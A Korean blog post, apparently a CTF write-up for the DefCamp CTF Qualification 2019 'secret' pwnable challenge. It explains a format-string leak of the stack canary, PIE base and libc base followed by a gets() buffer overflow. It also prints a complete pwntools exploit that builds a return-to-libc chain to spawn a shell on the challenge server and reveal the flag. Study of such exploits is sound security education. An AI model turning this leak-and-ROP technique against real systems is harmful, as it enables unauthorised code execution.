일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- syscall
- OOB
- 문자열 처리
- 투 포인터
- 백트래킹
- ROP
- 다이나믹 프로그래밍
- 브루트 포스
- 이분 탐색
- 연결리스트
- 스택
- BOF
- tcache
- off by one
- fsb
- BFS
- 에라토스테네스의 체
- RTL
- heap
- 완전 탐색
- 큐
- 이진트리
- 스위핑 알고리즘
- DFS
- 분할 정복
- 수학
- 동적 계획법
- House of Orange
- 포맷스트링버그
- 이진 탐색
Archives
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
DefCamp CTF Qualification 2019 - secret 본문
ctf는 진작 끝났지만.. pwn을 좋아하기 때문에 따로 가입을 해서 풀어 보았다.
먼저 main을 보면 처음 노란 줄에서 s에 0x40만큼 입력을 받고 두 번째 노란 줄에서 출력을 해준다.
이때 format-string-bug( fsb )가 일어나 메모리의 leak이 가능하게 된다.
다음 secret() 함수를 봐보자
이때 두번째 노란 줄 gets(&s1); 에서 bof가 일어나서 ret을 조작할 수 있게 된다.
따라서 익스플로잇 과정은 다음과 같다.
1. fsb로 PIE_base, libc_base, canary를 leak 한다.
2. one_gadget을 구해 ret에 덮는다. (하지만 one_gadget이 전부 작동하지 않았다.)
2. libc_base와 PIE_base를 기반으로 system과 /bin/sh와 pop_rdi 주소를 구한다.
3. RTL로 쉘을 딴다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
from pwn import *
#p = process("./pwn_secret")
p = remote("206.81.24.129",1339)
p.sendline("%15$lx %16$lx %17$lx")
p.recvuntil("Hillo ")
tmp = p.recvuntil("\n").split()
canary = int('0x'+tmp[0],16)
PIE_base = int('0x'+tmp[1],16) - 3136
libc_base = int('0x'+tmp[2],16) - 133168
print "libc_base : " + hex(libc_base)
print "canary : " + hex(canary)
print "PIE_base : " + hex(PIE_base)
#one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc_system = libc_base + 0x45390
bin_sh = libc_base + 0x18cd57
pop_rdi = PIE_base + 0xca3
#one_gadget = libc_base + one[0]
print "libc_system :" + hex(libc_system)
pay = "a"*(0x90-0x8)
pay += p64(canary)
pay += p64(0)
#pay += p64(one_gadget)
pay += p64(pop_rdi)
pay += p64(bin_sh)
pay += p64(libc_system)
p.sendlineafter(": ",pay)
p.interactive()
|
아직 서버가 작동중이여서 flag를 읽을 수 있었다.
flag : DCTF{17AF6D77BFDAC4CAF6CD2FD2F3EB85FB654D2E36745F926169C0958333496979}
'write-up > pwnable' 카테고리의 다른 글
NACTF 2019 - BufferOverflow #0 (0) | 2019.09.23 |
---|---|
HSCTF 2019 - Storytime (0) | 2019.09.16 |
HSCTF 2019 - Combo Chain (0) | 2019.09.16 |
HSCTF 2019 - Combo Chain Lite (0) | 2019.09.16 |
HSCTF 2019 - Return to Sender (0) | 2019.09.16 |
Comments